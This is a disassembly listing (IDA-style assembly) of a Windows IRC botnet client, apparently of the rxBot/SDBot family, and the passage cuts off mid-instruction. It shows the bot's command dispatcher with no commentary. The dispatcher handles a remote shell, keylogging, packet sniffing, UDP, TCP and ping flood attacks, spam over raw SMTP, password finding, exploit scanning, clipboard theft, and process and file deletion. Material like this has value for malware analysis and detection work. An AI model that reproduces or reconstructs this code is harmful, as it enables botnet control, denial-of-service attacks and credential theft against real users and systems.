; --------------------------------------------------------------------------- loc_40A872: ; CODE XREF: sub_409848+1010j push 0Bh mov edi, eax mov esi, offset aSecurestop ; "securestop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A89A push [ebp+ebx+var_A0] push 1Ah push offset aSecure_0 ; "Secure" push offset aSecure_1 ; "[SECURE]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A89A: ; CODE XREF: sub_409848+1038j ; DATA XREF: .text:0043195Co ... push 9 mov edi, eax mov esi, offset aScanstop ; "scanstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A8C2 push [ebp+ebx+var_A0] push 9 push offset aScan_1 ; "Scan" push offset aScan_0 ; "[SCAN]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A8C2: ; CODE XREF: sub_409848+1060j push 0Ah mov edi, eax mov esi, offset aScanstats ; "scanstats" pop ecx xor edx, edx repe cmpsb jz loc_40EAC8 push 6 mov edi, eax mov esi, offset aStats ; "stats" pop ecx xor edx, edx repe cmpsb jz loc_40EAC8 push 0Ah mov edi, eax mov esi, offset aReconnect ; "reconnect" pop ecx xor edx, edx repe cmpsb jz loc_40EAA7 push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40EAA7 push 0Bh mov edi, eax mov esi, offset aDisconnect ; "disconnect" pop ecx xor edx, edx repe cmpsb jz loc_40EA85 push 3 mov edi, eax mov esi, offset aDc ; "dc" pop ecx xor edx, edx repe cmpsb jz loc_40EA85 push 5 mov edi, eax mov esi, offset aQuit_0 ; "quit" pop ecx xor edx, edx repe cmpsb jz loc_40EA3B push 2 mov edi, eax mov esi, offset aQ ; "q" pop ecx xor edx, edx repe cmpsb jz loc_40EA3B push 7 mov edi, eax mov esi, offset aStatus ; "status" pop ecx xor edx, edx repe cmpsb jz loc_40E9FC push 2 mov edi, eax mov esi, offset aS_8 ; "s" pop ecx xor edx, edx repe cmpsb jz loc_40E9FC push 3 mov edi, eax mov esi, offset aId ; "id" pop ecx xor edx, edx repe cmpsb jz loc_40E9C4 push 2 mov edi, eax mov esi, offset aI_0 ; "i" pop ecx xor edx, edx repe cmpsb jz loc_40E9C4 push 7 mov edi, eax mov esi, offset aReboot ; "reboot" pop ecx xor edx, edx repe cmpsb jnz short loc_40AA04 call sub_407554 test eax, eax mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system." jnz short loc_40A9D5 mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system." loc_40A9D5: ; CODE XREF: sub_409848+1186j push eax lea eax, [ebp+var_2F0] push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 1Ch jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40AA04: ; CODE XREF: sub_409848+1178j push 8 mov edi, eax mov esi, offset aThreads ; "threads" pop ecx xor edx, edx repe cmpsb jz loc_40E8E4 push 2 mov edi, eax mov esi, offset aT ; "t" pop ecx xor edx, edx repe cmpsb jz loc_40E8E4 push 8 mov edi, eax mov esi, offset aAliases ; "aliases" pop ecx xor edx, edx repe cmpsb jz loc_40E8C1 push 3 mov edi, eax mov esi, offset aAl ; "al" pop ecx xor edx, edx repe cmpsb jz loc_40E8C1 push 4 mov edi, eax mov esi, offset aLog_0 ; "log" pop ecx xor edx, edx repe cmpsb jz loc_40E7CE push 3 mov edi, eax mov esi, offset aLg ; "lg" pop ecx xor edx, edx repe cmpsb jz loc_40E7CE push 9 mov edi, eax mov esi, offset aClearlog ; "clearlog" pop ecx xor edx, edx repe cmpsb jz loc_40E7B2 push 4 mov edi, eax mov esi, offset aClg ; "clg" pop ecx xor edx, edx repe cmpsb jz loc_40E7B2 push 8 mov edi, eax mov esi, offset aNetinfo ; "netinfo" pop ecx xor edx, edx repe cmpsb jz loc_40E777 push 3 mov edi, eax mov esi, offset aNi ; "ni" pop ecx xor edx, edx repe cmpsb jz loc_40E777 push 8 mov edi, eax mov esi, offset aSysinfo ; "sysinfo" pop ecx xor edx, edx repe cmpsb jz loc_40E74B push 3 mov edi, eax mov esi, offset aSi ; "si" pop ecx xor edx, edx repe cmpsb jz loc_40E74B push 8 mov edi, eax mov esi, offset aDestroy ; "destroy" pop ecx xor edx, edx repe cmpsb jz loc_40E6CE push 0Bh mov edi, eax mov esi, offset aErradicate ; "erradicate" pop ecx xor edx, edx repe cmpsb jz loc_40E6CE push 6 mov edi, eax mov esi, offset aProcs ; "procs" pop ecx xor edx, edx repe cmpsb jz loc_40E5A8 push 3 mov edi, eax mov esi, offset aPs ; "ps" pop ecx xor edx, edx repe cmpsb jz loc_40E5A8 push 7 mov edi, eax mov esi, offset aUptime ; "uptime" pop ecx xor edx, edx repe cmpsb jz loc_40E521 push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40E521 push 0Ah mov edi, eax mov esi, offset aDriveinfo ; "driveinfo" pop ecx xor edx, edx repe cmpsb jz loc_40E504 push 4 mov edi, eax mov esi, offset aDrv ; "drv" pop ecx xor edx, edx repe cmpsb jz loc_40E504 push 9 mov edi, eax mov esi, offset aTestdlls ; "testdlls" pop ecx xor edx, edx repe cmpsb jz loc_40E4EB push 4 mov edi, eax mov esi, offset aDll ; "dll" pop ecx xor edx, edx repe cmpsb jz loc_40E4EB push 8 mov edi, eax mov esi, offset aOpencmd ; "opencmd" pop ecx xor edx, edx repe cmpsb jz loc_40E4AC push 5 mov edi, eax mov esi, offset aOcmd ; "ocmd" pop ecx xor edx, edx repe cmpsb jz loc_40E4AC push 8 mov edi, eax mov esi, offset aCmdstop ; "cmdstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40AC0C push [ebp+ebx+var_A0] push 8 push offset aRemoteShell ; "Remote shell" push offset aCmd_0 ; "[CMD]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40AC0C: ; CODE XREF: sub_409848+13AAj push 4 mov edi, eax mov esi, offset aWho ; "who" pop ecx xor edx, edx repe cmpsb jnz loc_40AF4B cmp [ebp+var_C], edx jnz short loc_40AC3F push edx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40AC3F: ; CODE XREF: sub_409848+13DBj mov edi, [ebp+arg_18] xor esi, esi loc_40AC44: ; CODE XREF: sub_409848+1443j cmp byte ptr [edi], 0 lea eax, [edi+1] jnz short loc_40AC51 mov eax, offset aEmpty ; "<Empty>" loc_40AC51: ; CODE XREF: sub_409848+1402j push eax push esi lea eax, [ebp+var_2F0] push offset aD_S ; "%d. %s" push eax call sub_416975 push 1 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40AC44 push offset aMainLoginListC ; "[MAIN]: Login list complete." call sub_401F0F mov eax, [ebp+var_1C] pop ecx loc_40AC9B: ; CODE XREF: sub_409848+2698j ; sub_409848+561Fj mov ecx, [ebp+ebx+var_94] test ecx, ecx mov [ebp+arg_0], ecx jz loc_409AC6 push 8 mov edi, eax mov esi, offset aAdvscan ; "advscan" pop ecx xor edx, edx repe cmpsb jz loc_40F4B4 push 4 mov edi, eax mov esi, offset aAsc ; "asc" pop ecx xor edx, edx repe cmpsb jz loc_40F4B4 push 9 mov edi, eax mov esi, offset aUdpflood ; "udpflood" pop ecx xor edx, edx repe cmpsb jz loc_40F36B push 4 mov edi, eax mov esi, offset aUdp ; "udp" pop ecx xor edx, edx repe cmpsb jz loc_40F36B push 2 mov edi, eax mov esi, offset aU ; "u" pop ecx xor edx, edx repe cmpsb jz loc_40F36B push 0Ah mov edi, eax mov esi, offset aPingflood ; "pingflood" pop ecx xor edx, edx repe cmpsb jz loc_40F231 push 5 mov edi, eax mov esi, offset aPing_0 ; "ping" pop ecx xor edx, edx repe cmpsb jz loc_40F231 push 2 mov edi, eax mov esi, offset aP ; "p" pop ecx xor edx, edx repe cmpsb jz loc_40F231 push 9 mov edi, eax mov esi, offset aTcpflood ; "tcpflood" pop ecx xor edx, edx repe cmpsb jz loc_40F070 push 4 mov edi, eax mov esi, offset aTcp ; "tcp" pop ecx xor edx, edx repe cmpsb jz loc_40F070 push 6 mov edi, eax mov esi, offset aEmail ; "email" pop ecx xor edx, edx repe cmpsb jnz loc_40EE7A mov eax, [ebp+ebx+var_A0] lea edx, [ebp+var_85C] sub edx, eax loc_40AD98: ; CODE XREF: sub_409848+1558j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_40AD98 push [ebp+ebx+var_9C] call sub_416D02 mov esi, eax mov eax, [ebp+ebx+var_98] lea edx, [ebp+var_2004] pop ecx sub edx, eax loc_40ADC0: ; CODE XREF: sub_409848+1580j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_40ADC0 mov eax, [ebp+arg_0] lea edx, [ebp+var_155C] sub edx, eax loc_40ADD5: ; CODE XREF: sub_409848+1595j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_40ADD5 push offset asc_422B00 ; " " push offset a_ ; "_" push [ebp+ebx+var_90] call sub_4071CF add esp, 0Ch lea edx, [ebp+var_1F04] loc_40ADFE: ; CODE XREF: sub_409848+15BEj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_40ADFE lea eax, [ebp+var_1854] push eax push 101h call dword_43A3CC ; WSAStartup lea eax, [ebp+var_85C] push eax call dword_43A420 ; gethostbyname push 6 push 1 push 2 mov ebx, eax call dword_43A3BC ; socket mov edi, eax mov [ebp+var_D8], 2 mov eax, [ebx+0Ch] mov eax, [eax] mov eax, [eax] push esi mov [ebp+var_D4], eax call dword_43A514 ; ntohs mov [ebp+var_D6], ax lea eax, [ebp+var_1F04] push eax lea eax, [ebp+var_2004] push eax lea eax, [ebp+var_1F04] push eax lea eax, [ebp+var_155C] push eax lea eax, [ebp+var_2004] push eax lea eax, [ebp+var_2804] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_416975 add esp, 1Ch push 10h lea eax, [ebp+var_D8] push eax push edi call dword_43A36C ; connect xor ebx, ebx push ebx mov esi, 100h push esi lea eax, [ebp+var_1E00] push eax push edi call dword_43A324 ; recv lea eax, [ebp+var_1E00] lea ecx, [eax+1] loc_40AEC2: ; CODE XREF: sub_409848+167Fj mov dl, [eax] inc eax test dl, dl jnz short loc_40AEC2 push ebx sub eax, ecx push eax lea eax, [ebp+var_2804] push eax push edi call dword_43A458 ; send push ebx push esi lea eax, [ebp+var_1E00] push eax push edi call dword_43A324 ; recv push edi call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup lea eax, [ebp+var_155C] push eax lea eax, [ebp+var_2F0] push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_C], ebx jnz short loc_40AF34 push ebx loc_40AF19: ; CODE XREF: sub_409848+2127j ; sub_409848+4032j push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40AF2C: ; CODE XREF: sub_409848+3457j call sub_405D62 add esp, 14h loc_40AF34: ; CODE XREF: sub_409848+16CEj ; sub_409848+211Fj ... mov esi, [ebp+arg_24] loc_40AF37: ; CODE XREF: sub_409848+3FC7j ; sub_409848+3FEAj ... lea eax, [ebp+var_2F0] push eax call sub_401F0F pop ecx mov eax, esi jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40AF4B: ; CODE XREF: sub_409848+13D2j push 8 mov edi, eax mov esi, offset aGetclip ; "getclip" pop ecx xor edx, edx repe cmpsb jz loc_40E468 push 3 mov edi, eax mov esi, offset aGc ; "gc" pop ecx xor edx, edx repe cmpsb jz loc_40E468 push 9 mov edi, eax mov esi, offset aFlusharp ; "flusharp" pop ecx xor edx, edx repe cmpsb jz loc_40E43D push 5 mov edi, eax mov esi, offset aFarp ; "farp" pop ecx xor edx, edx repe cmpsb jz loc_40E43D push 9 mov edi, eax mov esi, offset aFlushdns ; "flushdns" pop ecx xor edx, edx repe cmpsb jz loc_40E40D push 5 mov edi, eax mov esi, offset aFdns ; "fdns" pop ecx xor edx, edx repe cmpsb jz loc_40E40D push 0Ah mov edi, eax mov esi, offset aCurrentip ; "currentip" pop ecx xor edx, edx repe cmpsb jz loc_40E3D3 push 4 mov edi, eax mov esi, offset aCip ; "cip" pop ecx xor edx, edx repe cmpsb jz loc_40E3D3 push 0Dh mov edi, eax mov esi, offset aRloginserver ; "rloginserver" pop ecx xor edx, edx repe cmpsb jz loc_40E29A push 7 mov edi, eax mov esi, offset aRlogin ; "rlogin" pop ecx xor edx, edx repe cmpsb jz loc_40E29A push 0Bh mov edi, eax mov esi, offset aHttpserver ; "httpserver" pop ecx xor edx, edx repe cmpsb jz loc_40E119 push 5 mov edi, eax mov esi, offset aHttp ; "http" pop ecx xor edx, edx repe cmpsb jz loc_40E119 push 0Bh mov edi, eax mov esi, offset aTftpserver ; "tftpserver" pop ecx xor edx, edx repe cmpsb jz loc_40DFC2 push 5 mov edi, eax mov esi, offset aTftp ; "tftp" pop ecx xor edx, edx repe cmpsb jz loc_40DFC2 push 9 mov edi, eax mov esi, offset aFindpass ; "findpass" pop ecx xor edx, edx repe cmpsb jz loc_40DF1A push 3 mov edi, eax mov esi, offset aFp ; "fp" pop ecx xor edx, edx repe cmpsb jz loc_40DF1A push 8 mov edi, eax mov esi, offset aScanall ; "scanall" pop ecx xor edx, edx repe cmpsb jz loc_40DBDF push 3 mov edi, eax mov esi, offset aSa ; "sa" pop ecx xor edx, edx repe cmpsb jz loc_40DBDF mov ecx, [ebp+ebx+var_A0] test ecx, ecx mov [ebp+var_8], ecx jz loc_409AC6 push 5 mov edi, eax mov esi, offset aNick_0 ; "nick" pop ecx xor edx, edx repe cmpsb jz loc_40DBBA push 2 mov edi, eax mov esi, offset aN ; "n" pop ecx xor edx, edx repe cmpsb jz loc_40DBBA push 5 mov edi, eax mov esi, offset aJoin ; "join" pop ecx xor edx, edx repe cmpsb jz loc_40DB96 push 2 mov edi, eax mov esi, offset aJ ; "j" pop ecx xor edx, edx repe cmpsb jz loc_40DB96 push 5 mov edi, eax mov esi, offset aPart_0 ; "part" pop ecx xor edx, edx repe cmpsb jz loc_40DB7C push 3 mov edi, eax mov esi, offset aPt ; "pt" pop ecx xor edx, edx repe cmpsb jz loc_40DB7C push 4 mov edi, eax mov esi, offset aRaw ; "raw" pop ecx xor edx, edx repe cmpsb jz loc_40DB45 push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40DB45 push 0Bh mov edi, eax mov esi, offset aKillthread ; "killthread" pop ecx xor edx, edx repe cmpsb jz loc_40DA8B push 2 mov edi, eax mov esi, offset aK ; "k" pop ecx xor edx, edx repe cmpsb jz loc_40DA8B push 7 mov edi, eax mov esi, offset aC_quit ; "c_quit" pop ecx xor edx, edx repe cmpsb jz loc_40D9DD push 4 mov edi, eax mov esi, offset aC_q ; "c_q" pop ecx xor edx, edx repe cmpsb jz loc_40D9DD push 0Ah mov edi, eax mov esi, offset aC_rndnick ; "c_rndnick" pop ecx xor edx, edx repe cmpsb jz loc_40D98C push 5 mov edi, eax mov esi, offset aC_rn ; "c_rn" pop ecx xor edx, edx repe cmpsb jz loc_40D98C push 7 mov edi, eax mov esi, offset aPrefix ; "prefix" pop ecx xor edx, edx repe cmpsb jz loc_40D973 push 3 mov edi, eax mov esi, offset aPr ; "pr" pop ecx xor edx, edx repe cmpsb jz loc_40D973 push 5 mov edi, eax mov esi, offset aOpen ; "open" pop ecx xor edx, edx repe cmpsb jz loc_40D93D push 2 mov edi, eax mov esi, offset aO ; "o" pop ecx xor edx, edx repe cmpsb jz loc_40D93D push 7 mov edi, eax mov esi, offset aServer ; "server" pop ecx xor edx, edx repe cmpsb jz loc_40D914 push 3 mov edi, eax mov esi, offset aSe ; "se" pop ecx xor edx, edx repe cmpsb jz loc_40D914 push 4 mov edi, eax mov esi, offset aDns ; "dns" pop ecx xor edx, edx repe cmpsb jz loc_40D8B2 push 3 mov edi, eax mov esi, offset aDn ; "dn" pop ecx xor edx, edx repe cmpsb jz loc_40D8B2 push 9 mov edi, eax mov esi, offset aKillproc ; "killproc" pop ecx xor edx, edx repe cmpsb jz loc_40D87F push 3 mov edi, eax mov esi, offset aKp ; "kp" pop ecx xor edx, edx repe cmpsb jz loc_40D87F push 0Ch mov edi, eax mov esi, offset aKilldelproc ; "killdelproc" pop ecx xor edx, edx repe cmpsb jz loc_40D837 push 4 mov edi, eax mov esi, offset aKdp ; "kdp" pop ecx xor edx, edx repe cmpsb jz loc_40D837 push 5 mov edi, eax mov esi, offset aKill ; "kill" pop ecx xor edx, edx repe cmpsb jz loc_40D7D6 push 3 mov edi, eax mov esi, offset aKi ; "ki" pop ecx xor edx, edx repe cmpsb jz loc_40D7D6 push 7 mov edi, eax mov esi, offset aDelete ; "delete" pop ecx xor edx, edx repe cmpsb jz loc_40D790 push 4 mov edi, eax mov esi, offset aDel ; "del" pop ecx xor edx, edx repe cmpsb jz loc_40D790 push 5 mov edi, eax mov esi, offset aList_0 ; "list" pop ecx xor edx, edx repe cmpsb jz loc_40D770 push 3 mov edi, eax mov esi, offset aLi ; "li" pop ecx xor edx, edx repe cmpsb jz loc_40D770 push 6 mov edi, eax mov esi, offset aVisit ; "visit" pop ecx xor edx, edx repe cmpsb jz loc_40D67E push 2 mov edi, eax mov esi, offset aV ; "v" pop ecx xor edx, edx repe cmpsb jz loc_40D67E push 8 mov edi, eax mov esi, offset aMirccmd ; "mirccmd" pop ecx xor edx, edx repe cmpsb jz loc_40D605 push 5 mov edi, eax mov esi, offset aMirc ; "mirc" pop ecx xor edx, edx repe cmpsb jz loc_40D605 push 4 mov edi, eax mov esi, offset aCmd ; "cmd" pop ecx xor edx, edx repe cmpsb jz loc_40D5A9 push 3 mov edi, eax mov esi, offset aCm ; "cm" pop ecx xor edx, edx repe cmpsb jz loc_40D5A9 push 9 mov edi, eax mov esi, offset aReadfile ; "readfile" pop ecx xor edx, edx repe cmpsb jz loc_40D51E push 3 mov edi, eax mov esi, offset aRf ; "rf" pop ecx xor edx, edx repe cmpsb jz loc_40D51E push 7 mov edi, eax mov esi, offset aPsniff ; "psniff" pop ecx xor edx, edx repe cmpsb jnz loc_40B53D mov edi, [ebp+var_8] push 3 mov esi, offset aOn ; "on" pop ecx xor eax, eax repe cmpsb jnz loc_40B508 push 19h call sub_413922 test eax, eax pop ecx jle short loc_40B424 push offset aPsniffAlreadyR ; "[PSNIFF]: Already running." jmp loc_40B5A6 ; --------------------------------------------------------------------------- loc_40B424: ; CODE XREF: sub_409848+1BD0j mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_9C] test ebx, ebx mov [ebp+var_384], eax mov eax, [ebp+var_4] mov [ebp+var_2FC], eax mov eax, [ebp+var_C] mov [ebp+var_2F8], eax jz short loc_40B44E mov eax, ebx jmp short loc_40B469 ; --------------------------------------------------------------------------- loc_40B44E: ; CODE XREF: sub_409848+1C00j xor ecx, ecx mov eax, offset aSniffing ; "#sniffing" inc ecx mov edi, 422B02h mov esi, eax xor edx, edx repe cmpsb jnz short loc_40B469 mov eax, [ebp+var_9C] loc_40B469: ; CODE XREF: sub_409848+1C04j ; sub_409848+1C19j push eax lea eax, [ebp+var_380] push 80h push eax call sub_416BCD lea eax, [ebp+var_2F0] push offset aPsniffCarnivor ; "[PSNIFF]: Carnivore packet sniffer acti"... push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 19h push eax call sub_413732 add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_384] push eax push offset sub_409180 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jz short loc_40B4F7 cmp [ebp+var_2F4], esi jnz loc_40EE2A loc_40B4E1: ; CODE XREF: sub_409848+1CA8j push 32h call dword_422000 ; Sleep cmp [ebp+var_2F4], 0 jz short loc_40B4E1 jmp loc_40EE2A ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_409848+1C8Bj call dword_422008 ; RtlGetLastWin32Error push eax push offset aPsniffFailedTo ; "[PSNIFF]: Failed to start sniffer threa"... jmp loc_40EE1B ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_409848+1BC0j mov edi, [ebp+var_8] push 4 mov esi, offset aOff ; "off" pop ecx xor eax, eax repe cmpsb jnz loc_40EE2A push eax push 19h call sub_4138D5 test eax, eax pop ecx pop ecx jle short loc_40B536 push eax push offset aPsniffCarniv_0 ; "[PSNIFF]: Carnivore stopped. (%d thread"... jmp loc_40EE1B ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_409848+1CE1j push offset aPsniffNoCarniv ; "[PSNIFF]: No Carnivore thread found." jmp short loc_40B5A6 ; --------------------------------------------------------------------------- loc_40B53D: ; CODE XREF: sub_409848+1BABj push 7 mov edi, eax mov esi, offset aKeylog ; "keylog" pop ecx xor edx, edx repe cmpsb jnz loc_40B6C0 mov edi, [ebp+var_8] push 3 mov esi, offset aOn ; "on" pop ecx xor eax, eax repe cmpsb jz short loc_40B5B9 mov edi, [ebp+var_8] push 5 mov esi, offset aFile ; "file" pop ecx xor eax, eax repe cmpsb jz short loc_40B5B9 mov edi, [ebp+var_8] push 4 mov esi, offset aOff ; "off" pop ecx xor eax, eax repe cmpsb jnz loc_40EE2A push eax push 1Bh call sub_4138D5 test eax, eax pop ecx pop ecx jle short loc_40B5A1 push eax push offset aKeylogKeyLogge ; "[KEYLOG]: Key logger stopped. (%d threa"... jmp loc_40EE1B ; --------------------------------------------------------------------------- loc_40B5A1: ; CODE XREF: sub_409848+1D4Cj push offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found." loc_40B5A6: ; CODE XREF: sub_409848+1BD7j ; sub_409848+1CF3j ... lea eax, [ebp+var_2F0] push eax call sub_416975 pop ecx pop ecx jmp loc_40EE2A ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_409848+1D18j ; sub_409848+1D29j push 1Bh call sub_413922 test eax, eax pop ecx jle short loc_40B5CC push offset aKeylogAlreadyR ; "[KEYLOG]: Already running." jmp short loc_40B5A6 ; --------------------------------------------------------------------------- loc_40B5CC: ; CODE XREF: sub_409848+1D7Bj mov eax, [ebp+arg_4] mov edi, [ebp+var_8] mov [ebp+var_384], eax mov eax, [ebp+var_4] mov [ebp+var_2FC], eax push 5 mov esi, offset aFile ; "file" pop ecx xor eax, eax repe cmpsb jnz short loc_40B5FB mov [ebp+var_2F8], 1 jmp short loc_40B604 ; --------------------------------------------------------------------------- loc_40B5FB: ; CODE XREF: sub_409848+1DA5j mov eax, [ebp+var_C] mov [ebp+var_2F8], eax loc_40B604: ; CODE XREF: sub_409848+1DB1j mov ebx, [ebp+ebx+var_9C] test ebx, ebx jz short loc_40B613 mov eax, ebx jmp short loc_40B62E ; --------------------------------------------------------------------------- loc_40B613: ; CODE XREF: sub_409848+1DC5j xor ecx, ecx mov eax, offset aHell_0 ; "#hell" inc ecx mov edi, 422B02h mov esi, eax xor edx, edx repe cmpsb jnz short loc_40B62E mov eax, [ebp+var_9C] loc_40B62E: ; CODE XREF: sub_409848+1DC9j ; sub_409848+1DDEj push eax lea eax, [ebp+var_37C] push 80h push eax call sub_416BCD lea eax, [ebp+var_2F0] push offset aKeylogKeyLog_0 ; "[KEYLOG]: Key logger active." push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Bh push eax call sub_413732 add esp, 20h mov [ebp+var_380], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_384] push eax push offset sub_405F16 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_380] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40B6B3 call dword_422008 ; RtlGetLastWin32Error push eax push offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"... jmp loc_40EE1B ; --------------------------------------------------------------------------- loc_40B6AB: ; CODE XREF: sub_409848+1E71j push 32h call dword_422000 ; Sleep loc_40B6B3: ; CODE XREF: sub_409848+1E50j cmp [ebp+var_2F4], esi jz short loc_40B6AB jmp loc_40EE2A ; --------------------------------------------------------------------------- loc_40B6C0: ; CODE XREF: sub_409848+1D03j push 4 mov edi, eax mov esi, offset aNet ; "net" pop ecx xor edx, edx repe cmpsb jnz loc_40B974 xor eax, eax cmp dword_43A528, eax jz short loc_40B6F0 cmp dword_43A550, eax jz short loc_40B6F0 push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"... jmp loc_40B955 ; --------------------------------------------------------------------------- loc_40B6F0: ; CODE XREF: sub_409848+1E94j ; sub_409848+1E9Cj cmp [ebp+var_14], eax jz loc_40B963 mov eax, [ebp+ebx+var_9C] and [ebp+arg_0], 0 test eax, eax mov [ebp+var_10], eax jz short loc_40B719 push eax push [ebp+var_14] call sub_417440 pop ecx pop ecx mov [ebp+arg_0], eax loc_40B719: ; CODE XREF: sub_409848+1EC1j mov edx, [ebp+var_8] push 6 mov edi, edx mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz short loc_40B787 cmp [ebp+var_10], eax jz short loc_40B755 push [ebp+arg_0] push 3 loc_40B736: ; CODE XREF: sub_409848+1F54j ; sub_409848+1F6Bj ... call sub_4082EB push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_416975 add esp, 14h jmp loc_40B963 ; --------------------------------------------------------------------------- loc_40B755: ; CODE XREF: sub_409848+1EE7j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_407A26 add esp, 0Ch test eax, eax lea eax, [ebp+var_2F0] jz short loc_40B77D push offset aNetServiceList ; "[NET]: Service list completed." jmp loc_40B95B ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_409848+1F29j push offset aNetServiceLi_0 ; "[NET]: Service list failed." jmp loc_40B95B ; --------------------------------------------------------------------------- loc_40B787: ; CODE XREF: sub_409848+1EE2j push 5 mov edi, edx mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz short loc_40B79E push [ebp+arg_0] push 4 jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B79E: ; CODE XREF: sub_409848+1F4Dj push 6 mov edi, edx mov esi, offset aPause ; "pause" pop ecx xor eax, eax repe cmpsb jnz short loc_40B7B5 push [ebp+arg_0] push 5 jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B7B5: ; CODE XREF: sub_409848+1F64j push 9 mov edi, edx mov esi, offset aContinue ; "continue" pop ecx xor eax, eax repe cmpsb jnz short loc_40B7CF push [ebp+arg_0] push 6 jmp loc_40B736 ; --------------------------------------------------------------------------- loc_40B7CF: ; CODE XREF: sub_409848+1F7Bj push 7 mov edi, edx mov esi, offset aDelete ; "delete" pop ecx xor eax, eax repe cmpsb jnz short loc_40B7E9 push [ebp+arg_0] push 1 jmp loc_40B736 ; --------------------------------------------------------------------------- loc_40B7E9: ; CODE XREF: sub_409848+1F95j push 6 mov edi, edx mov esi, offset aShare ; "share" pop ecx xor eax, eax repe cmpsb jnz short loc_40B86D cmp [ebp+var_10], eax jz short loc_40B839 cmp [ebp+var_38C], al jz short loc_40B80E push eax push [ebp+var_10] push 1 jmp short loc_40B81A ; --------------------------------------------------------------------------- loc_40B80E: ; CODE XREF: sub_409848+1FBCj push [ebp+ebx+var_98] push [ebp+var_10] push 0 loc_40B81A: ; CODE XREF: sub_409848+1FC4j call sub_408363 push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_416975 add esp, 18h jmp loc_40B963 ; --------------------------------------------------------------------------- loc_40B839: ; CODE XREF: sub_409848+1FB4j push 0 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_408421 add esp, 10h test eax, eax lea eax, [ebp+var_2F0] jz short loc_40B863 push offset aNetShareListCo ; "[NET]: Share list completed." jmp loc_40B95B ; --------------------------------------------------------------------------- loc_40B863: ; CODE XREF: sub_409848+200Fj push offset aNetShareListFa ; "[NET]: Share list failed." jmp loc_40B95B ; --------------------------------------------------------------------------- loc_40B86D: ; CODE XREF: sub_409848+1FAFj push 5 mov edi, edx mov esi, offset aUser ; "user" pop ecx xor eax, eax repe cmpsb jnz loc_40B909 cmp [ebp+var_10], eax jz short loc_40B8DB cmp [ebp+var_38C], al push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] jz short loc_40B8A2 push eax push [ebp+var_10] push 1 jmp short loc_40B8BC ; --------------------------------------------------------------------------- loc_40B8A2: ; CODE XREF: sub_409848+2050j mov ebx, [ebp+ebx+var_98] test ebx, ebx jz short loc_40B8B5 push ebx push [ebp+var_10] push 0 jmp short loc_40B8BC ; --------------------------------------------------------------------------- loc_40B8B5: ; CODE XREF: sub_409848+2063j push 0 push [ebp+var_10] push 2 loc_40B8BC: ; CODE XREF: sub_409848+2058j ; sub_409848+206Bj call sub_408540 push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_416975 add esp, 24h jmp loc_40B963 ; --------------------------------------------------------------------------- loc_40B8DB: ; CODE XREF: sub_409848+203Cj push 0 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_40860A add esp, 10h test eax, eax lea eax, [ebp+var_2F0] jz short loc_40B902 push offset aNetUserListCom ; "[NET]: User list completed." jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B902: ; CODE XREF: sub_409848+20B1j push offset 